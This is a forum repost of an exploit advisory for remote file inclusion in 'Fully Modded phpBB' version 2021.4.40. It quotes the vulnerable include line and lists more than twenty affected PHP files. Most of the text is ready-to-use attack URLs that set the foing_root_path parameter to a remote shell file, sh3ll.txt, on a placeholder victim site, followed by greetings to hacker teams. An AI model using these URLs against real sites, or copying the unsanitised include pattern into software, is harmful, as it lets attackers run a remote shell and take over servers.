Fully Modded phpBB <= 2021.4.40 Multiple File Include Vulnerabilities
[code]##############################################################
Fully Modded phpBB 2 Remote File Include [PHPBB] Exploit (2)
##############################################################
Source Code:
[url]http://phpbbfm.net/support/index_fm.php[/url]
[url]http://kent.dl.sourceforge.net/sourceforge/phpbbfm/FM2021-4-40.tar.gz[/url]
###################################################
Vulnerable Code:_
include('includes/common.php');
$phpbb_root_path = $foing_root_path . $phpbb_root_path;
In
./faq.php
./index.php
./list.php
./login.php
./playlist.php
./song.php
./gen_m3u.php
./view_artist.php
./view_song.php
./flash/set_na.php
./flash/initialise.php
./flash/get_song.php
./includes/common.php
./admin/nav.php
./admin/main.php
./admin/list_artists.php
./admin/index.php
./admin/genres.php
./admin/edit_artist.php
./admin/edit_album.php
./admin/config.php
./admin/admin_status.php
###################################################
Exploit :
[url]http://www.vicTim.com/[/url][player]/faq.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/index.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/list.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/login.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/playlist.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/song.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/gen_m3u.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/view_artist.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/view_song.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/login.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/playlist.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/song.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/flash/set_na.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/flash/initialise.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/flash/get_song.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/includes/common.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/admin/nav.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/admin/main.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/admin/list_artists.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/admin/index.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/admin/genres.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/admin/edit_artist.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/admin/edit_album.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/admin/config.php?foing_root_path=sh3ll.txt?
[url]http://www.vicTim.com/[/url][player]/admin/admin_status.php?foing_root_path=sh3ll.txt?
###################################################
Discoverd By : 020
###################################################
Special Greetings :_ Tryag-Team & 4lKaSrGoLd3n-Team > [url]WwW.DwRaT.CoM[/url] & [url]WwW.Tryag.CoM[/url] & [url]WwW.Xp020.CoM[/url]
###################################################
[/code]
页:
[1]